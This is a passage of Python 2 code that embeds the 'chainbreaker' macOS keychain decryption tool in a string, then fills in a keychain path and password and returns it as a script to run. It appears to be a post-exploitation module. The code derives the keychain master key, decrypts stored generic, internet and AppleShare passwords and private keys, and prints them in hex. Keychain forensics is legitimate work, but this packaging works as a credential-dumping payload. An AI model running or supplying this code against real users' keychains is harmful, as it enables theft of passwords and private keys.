        record.append(self.getLV(BASE_ADDR, RecordMeta.SubjectKeyIdentifier & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.PublicKeyHash & 0xFFFFFFFE))

        record.append(x509Certificate)
        return record

    def getKeyRecord(self, base_addr, offset):  ## PUBLIC and PRIVATE KEY
        record = []

        BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset

        RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_SECKEY_HEADER)], _SECKEY_HEADER)

        KeyBlob = self.fbuf[BASE_ADDR + sizeof(_SECKEY_HEADER):BASE_ADDR + sizeof(_SECKEY_HEADER) + RecordMeta.BlobSize]

        record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Label & 0xFFFFFFFE))
        record.append(self.getInt(BASE_ADDR, RecordMeta.KeyClass & 0xFFFFFFFE))
        record.append(self.getInt(BASE_ADDR, RecordMeta.Private & 0xFFFFFFFE))
        record.append(self.getInt(BASE_ADDR, RecordMeta.KeyType & 0xFFFFFFFE))
        record.append(self.getInt(BASE_ADDR, RecordMeta.KeySizeInBits & 0xFFFFFFFE))
        record.append(self.getInt(BASE_ADDR, RecordMeta.EffectiveKeySize & 0xFFFFFFFE))
        record.append(self.getInt(BASE_ADDR, RecordMeta.Extractable & 0xFFFFFFFE))
        record.append(str(self.getLV(BASE_ADDR, RecordMeta.KeyCreator & 0xFFFFFFFE)).split('\x00')[0])

        IV, Key = self.getEncryptedDatainBlob(KeyBlob)
        record.append(IV)
        record.append(Key)

        return record

    def getEncryptedDatainBlob(self, BlobBuf):
        magicNumber = 0xFADE0711

        IVSize = 8

        EncryptedBlobMeta = _memcpy(BlobBuf[:sizeof(_ENCRYPTED_BLOB_METADATA)], _ENCRYPTED_BLOB_METADATA)

        if EncryptedBlobMeta.MagicNumber != magicNumber:
            return '', ''

        KeyData = BlobBuf[EncryptedBlobMeta.StartOffset:EncryptedBlobMeta.EndOffset]
        IV = BlobBuf[sizeof(_ENCRYPTED_BLOB_METADATA):sizeof(_ENCRYPTED_BLOB_METADATA)+IVSize]
        return IV, KeyData    # IV, Encrypted Data

    def getKeychainTime(self, BASE_ADDR, pCol):
        if pCol <= 0:
            return ''
        else:
            data = str(struct.unpack('>16s', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + struct.calcsize('>16s')])[0])
            return datetime.datetime.strptime(data.strip('\x00'), '%Y%m%d%H%M%SZ')

    def getInt(self, BASE_ADDR, pCol):
        if pCol <= 0:
            return 0
        else:
            return struct.unpack('>I', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0]

    def getFourCharCode(self, BASE_ADDR, pCol):
        if pCol <= 0:
            return ''
        else:
            return struct.unpack('>4s', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0]

    def getLV(self, BASE_ADDR, pCol):
        if pCol <= 0:
            return ''

        str_length = struct.unpack('>I', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0]
        # 4byte arrangement
        if (str_length % 4) == 0:
            real_str_len = (str_length / 4) * 4
        else:
            real_str_len = ((str_length / 4) + 1) * 4
        unpack_value = '>' + str(real_str_len) + 's'
        try:
            data = struct.unpack(unpack_value, self.fbuf[BASE_ADDR + pCol + 4:BASE_ADDR + pCol + 4 + real_str_len])[0]
        except struct.error:
            print 'Length is too long : %d'%real_str_len
            return ''
        return data


    def getAppleshareRecord(self, base_addr, offset):
        record = []

        BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset

        RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_INTERNET_PW_HEADER)], _INTERNET_PW_HEADER)

        Buffer = self.fbuf[BASE_ADDR + sizeof(_INTERNET_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize]

        if RecordMeta.SSGPArea != 0:
            record.append(Buffer[:RecordMeta.SSGPArea])
        else:
            record.append('')

        record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE))
        record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE))

        record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Comment & 0xFFFFFFFE))

        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE))
        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE))

        record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Protected & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Volume & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Server & 0xFFFFFFFE))

        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Protocol & 0xFFFFFFFE))

        record.append(self.getLV(BASE_ADDR, RecordMeta.Address & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Signature & 0xFFFFFFFE))

        return record

    ## decrypted dbblob area
    ## Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT
    ## http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36620/lib/StorageManager.cpp
    def DBBlobDecryption(self, securestoragegroup, dbkey):
        iv = securestoragegroup[20:28]

        plain = kcdecrypt(dbkey, iv, securestoragegroup[28:])

        return plain

    # Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT
    # source : http://www.opensource.apple.com/source/libsecurity_cdsa_client/libsecurity_cdsa_client-36213/lib/securestorage.cpp
    # magicCmsIV : http://www.opensource.apple.com/source/Security/Security-28/AppleCSP/AppleCSP/wrapKeyCms.cpp
    def KeyblobDecryption(self, encryptedblob, iv, dbkey):

        magicCmsIV = unhexlify('4adda22c79e82105')
        plain = kcdecrypt(dbkey, magicCmsIV, encryptedblob)

        if plain.__len__() == 0:
            return ''

        # now we handle the unwrapping. we need to take the first 32 bytes,
        # and reverse them.
        revplain = ''
        for i in range(32):
            revplain += plain[31 - i]

        # now the real key gets found. */
        plain = kcdecrypt(dbkey, iv, revplain)

        keyblob = plain[4:]

        if len(keyblob) != KEYLEN:
            #raise "Bad decrypted keylen!"
            return ''

        return keyblob

    # test code
    #http://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55044/lib/KeyItem.cpp
    def PrivateKeyDecryption(self, encryptedblob, iv, dbkey):
        magicCmsIV = unhexlify('4adda22c79e82105')
        plain = kcdecrypt(dbkey, magicCmsIV, encryptedblob)

        if plain.__len__() == 0:
            return ''

        # now we handle the unwrapping. we need to take the first 32 bytes,
        # and reverse them.
        revplain = ''
        for i in range(len(plain)):
            revplain += plain[len(plain)-1 - i]

        # now the real key gets found. */
        plain = kcdecrypt(dbkey, iv, revplain)

        #hexdump(plain)
        Keyname = plain[:12]    # Copied Buffer when user click on right and copy a key on Keychain Access
        keyblob = plain[12:]

        return Keyname, keyblob

    ## Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT
    def generateMasterKey(self, pw, symmetrickey_offset):

        base_addr = sizeof(_APPL_DB_HEADER) + symmetrickey_offset + 0x38  # header

        # salt
        SALTLEN = 20
        salt = self.fbuf[base_addr + 44:base_addr + 44 + SALTLEN]

        masterkey = pbkdf2(pw, salt, 1000, KEYLEN)
        return masterkey

    ## find DBBlob and extract Wrapping key
    def findWrappingKey(self, master, symmetrickey_offset):

        base_addr = sizeof(_APPL_DB_HEADER) + symmetrickey_offset + 0x38

        # startCryptoBlob
        cipher_text_offset = struct.unpack('>I', self.fbuf[base_addr + 8:base_addr + 8 + ATOM_SIZE])[0]

        # totalength
        totallength = struct.unpack('>I', self.fbuf[base_addr + 12:base_addr + 12 + ATOM_SIZE])[0]

        # IV
        IVLEN = 8
        iv = self.fbuf[base_addr + 64:base_addr + 64 + IVLEN]

        # get cipher text area
        ciphertext = self.fbuf[base_addr + cipher_text_offset:base_addr + totallength]

        # decrypt the key
        plain = kcdecrypt(master, iv, ciphertext)

        if plain.__len__() == 0:
            return ''

        dbkey = plain[0:KEYLEN]

        # return encrypted wrapping key
        return dbkey


# SOURCE : extractkeychain.py
def kcdecrypt(key, iv, data):
    if len(data) == 0:
        #print>>stderr, "FileSize is 0"
        return data

    if len(data) % BLOCKSIZE != 0:
        return data

    cipher = triple_des(key, CBC, iv)
    # the line below is for pycrypto instead
    #cipher = DES3.new( key, DES3.MODE_CBC, iv )

    plain = cipher.decrypt(data)

    # now check padding
    pad = ord(plain[-1])
    if pad > 8:
        #print>> stderr, "Bad padding byte. You probably have a wrong password"
        return ''

    for z in plain[-pad:]:
        if ord(z) != pad:
            #print>> stderr, "Bad padding. You probably have a wrong password"
            return ''

    plain = plain[:-pad]

    return plain

def chainbreaker(file, password, key=''):

    parser = argparse.ArgumentParser(description='Tool for OS X Keychain Analysis by @n0fate')
    parser.add_argument('-f', '--file', nargs=1, help='Keychain file(*.keychain)', required=True)
    parser.add_argument('-x', '--exportfile', nargs=1, help='Export a filename (SQLite, optional)', required=False)
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-k', '--key', nargs=1, help='Masterkey candidate', required=False)
    group.add_argument('-p', '--password', nargs=1, help='User Password', required=False)

    if os.path.exists(file) is False:
        print '[!] ERROR: Keychain is not exists'
        parser.print_help()
        exit()

    keychain = KeyChain(file)
    
    if keychain.open() is False:
        print '[!] ERROR: %s Open Failed'%file
        parser.print_help()
        exit()

    KeychainHeader = keychain.getHeader()

    if KeychainHeader.Signature != KEYCHAIN_SIGNATURE:
        print '[!] ERROR: Invalid Keychain Format'
        parser.print_help()
        exit()

    SchemaInfo, TableList = keychain.getSchemaInfo(KeychainHeader.SchemaOffset)

    TableMetadata, RecordList = keychain.getTable(TableList[0])

    tableCount, tableEnum = keychain.getTablenametoList(RecordList, TableList)

    # generate database key
    if password is not None:
        masterkey = keychain.generateMasterKey(password, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]])
        dbkey = keychain.findWrappingKey(masterkey, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]])

    elif key is not None:
        dbkey = keychain.findWrappingKey(unhexlify(key), TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]])

    else:
        print '[!] ERROR: password or master key candidate'
        exit()

    # DEBUG
    print ' [-] DB Key'
    hexdump(dbkey)

    key_list = {}  # keyblob list

    # get symmetric key blob
    print '[+] Symmetric Key Table: 0x%.8x' % (sizeof(_APPL_DB_HEADER) + TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]])
    TableMetadata, symmetrickey_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]])

    for symmetrickey_record in symmetrickey_list:
        keyblob, ciphertext, iv, return_value = keychain.getKeyblobRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]],
                                                                            symmetrickey_record)
        if return_value == 0:
            passwd = keychain.KeyblobDecryption(ciphertext, iv, dbkey)
            if passwd != '':
                key_list[keyblob] = passwd

    try:
        TableMetadata, genericpw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_GENERIC_PASSWORD]])

        for genericpw in genericpw_list:
            record = keychain.getGenericPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_GENERIC_PASSWORD]], genericpw)
            print '[+] Generic Password Record'
            try:
                real_key = key_list[record[0][0:20]]
                passwd = keychain.DBBlobDecryption(record[0], real_key)
            except KeyError:
                passwd = ''
            print ' [-] Create DateTime: %s' % record[1]  # 16byte string
            print ' [-] Last Modified DateTime: %s' % record[2]  # 16byte string
            print ' [-] Description : %s' % record[3]
            print ' [-] Creator : %s' % record[4]
            print ' [-] Type : %s' % record[5]
            print ' [-] PrintName : %s' % record[6]
            print ' [-] Alias : %s' % record[7]
            print ' [-] Account : %s' % record[8]
            print ' [-] Service : %s' % record[9]
            print ' [-] Password'
            hexdump(passwd)
            print ''

    except KeyError:
        print '[!] Generic Password Table is not available'
        pass

    try:
        TableMetadata, internetpw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_INTERNET_PASSWORD]])

        for internetpw in internetpw_list:
            record = keychain.getInternetPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_INTERNET_PASSWORD]], internetpw)
            print '[+] Internet Record'
            try:
                real_key = key_list[record[0][0:20]]
                passwd = keychain.DBBlobDecryption(record[0], real_key)
            except KeyError:
                passwd = ''
            print ' [-] Create DateTime: %s' % record[1]  # 16byte string
            print ' [-] Last Modified DateTime: %s' % record[2]  # 16byte string
            print ' [-] Description : %s' % record[3]
            print ' [-] Comment : %s' % record[4]
            print ' [-] Creator : %s' % record[5]
            print ' [-] Type : %s' % record[6]
            print ' [-] PrintName : %s' % record[7]
            print ' [-] Alias : %s' % record[8]
            print ' [-] Protected : %s' % record[9]
            print ' [-] Account : %s' % record[10]
            print ' [-] SecurityDomain : %s' % record[11]
            print ' [-] Server : %s' % record[12]
            try:
                print ' [-] Protocol Type : %s' % PROTOCOL_TYPE[record[13]]
            except KeyError:
                print ' [-] Protocol Type : %s' % record[13]
            try:
                print ' [-] Auth Type : %s' % AUTH_TYPE[record[14]]
            except KeyError:
                print ' [-] Auth Type : %s' % record[14]
            print ' [-] Port : %d' % record[15]
            print ' [-] Path : %s' % record[16]
            print ' [-] Password'
            hexdump(passwd)
            print ''

    except KeyError:
        print '[!] Internet Password Table is not available'
        pass

    try:
        TableMetadata, applesharepw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD]])

        for applesharepw in applesharepw_list:
            record = keychain.getAppleshareRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD]], applesharepw)
            print '[+] AppleShare Record (no more used OS X)'
            try:
                real_key = key_list[record[0][0:20]]
                passwd = keychain.DBBlobDecryption(record[0], real_key)
            except KeyError:
                passwd = ''
            #print ''
            print ' [-] Create DateTime: %s' % record[1]  # 16byte string
            print ' [-] Last Modified DateTime: %s' % record[2]  # 16byte string
            print ' [-] Description : %s' % record[3]
            print ' [-] Comment : %s' % record[4]
            print ' [-] Creator : %s' % record[5]
            print ' [-] Type : %s' % record[6]
            print ' [-] PrintName : %s' % record[7]
            print ' [-] Alias : %s' % record[8]
            print ' [-] Protected : %s' % record[9]
            print ' [-] Account : %s' % record[10]
            print ' [-] Volume : %s' % record[11]
            print ' [-] Server : %s' % record[12]
            try:
                print ' [-] Protocol Type : %s' % PROTOCOL_TYPE[record[13]]
            except KeyError:
                print ' [-] Protocol Type : %s' % record[13]
            print ' [-] Address : %d' % record[14]
            print ' [-] Signature : %s' % record[15]
            print ' [-] Password'
            hexdump(passwd)
            print ''

    except KeyError:
        print '[!] AppleShare Table is not available'
        pass

    try:
        TableMetadata, x509CertList = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_X509_CERTIFICATE]])

        for x509Cert in x509CertList:
            record = keychain.getx509Record(TableList[tableEnum[CSSM_DL_DB_RECORD_X509_CERTIFICATE]], x509Cert)
            print ' [-] Cert Type: %s' %CERT_TYPE[record[0]]
            print ' [-] Cert Encoding: %s' %CERT_ENCODING[record[1]]
            print ' [-] PrintName : %s' % record[2]
            print ' [-] Alias : %s' % record[3]
            print ' [-] Subject'
            hexdump(record[4])
            print ' [-] Issuer :'
            hexdump(record[5])
            print ' [-] SerialNumber'
            hexdump(record[6])
            print ' [-] SubjectKeyIdentifier'
            hexdump(record[7])
            print ' [-] Public Key Hash'
            hexdump(record[8])
            print ' [-] Certificate'
            hexdump(record[9])
            print ''

    except KeyError:
        print '[!] Certification Table is not available'
        pass

    try:
        TableMetadata, PublicKeyList = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_PUBLIC_KEY]])
        for PublicKey in PublicKeyList:
            record = keychain.getKeyRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_PUBLIC_KEY]], PublicKey)
            print '[+] Public Key Record'
            print ' [-] PrintName: %s' %record[0]
            print ' [-] Label'
            hexdump(record[1])
            print ' [-] Key Class : %s'%KEY_TYPE[record[2]]
            print ' [-] Private : %d'%record[3]
            print ' [-] Key Type : %s'%CSSM_ALGORITHMS[record[4]]
            print ' [-] Key Size : %d bits'%record[5]
            print ' [-] Effective Key Size : %d bits'%record[6]
            print ' [-] Extracted : %d'%record[7]
            print ' [-] CSSM Type : %s' %STD_APPLE_ADDIN_MODULE[record[8]]
            print ' [-] Public Key'
            hexdump(record[10])

    except KeyError:
        print '[!] Public Key Table is not available'
        pass

    try:
        table_meta, PrivateKeyList = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_PRIVATE_KEY]])
        for PrivateKey in PrivateKeyList:
            record = keychain.getKeyRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_PRIVATE_KEY]], PrivateKey)
            print '[+] Private Key Record'
            print ' [-] PrintName: %s' % record[0]
            print ' [-] Label'
            hexdump(record[1])
            print ' [-] Key Class : %s' % KEY_TYPE[record[2]]
            print ' [-] Private : %d' % record[3]
            print ' [-] Key Type : %s' % CSSM_ALGORITHMS[record[4]]
            print ' [-] Key Size : %d bits' % record[5]
            print ' [-] Effective Key Size : %d bits' % record[6]
            print ' [-] Extracted : %d' % record[7]
            print ' [-] CSSM Type : %s' % STD_APPLE_ADDIN_MODULE[record[8]]
            keyname, privatekey = keychain.PrivateKeyDecryption(record[10], record[9], dbkey)
            print ' [-] Key Name'
            hexdump(keyname)
            print ' [-] Decrypted Private Key'
            hexdump(privatekey)

    except KeyError:
        print '[!] Private Key Table is not available'
        pass

    exit()
""" 
        script += """
try:
    import gc
    gc.collect()
    chainbreaker('%s', '%s', key='')
    gc.collect()
except Exception as e:
    print e 
    pass
        """ % (keyChain, password)

        return script
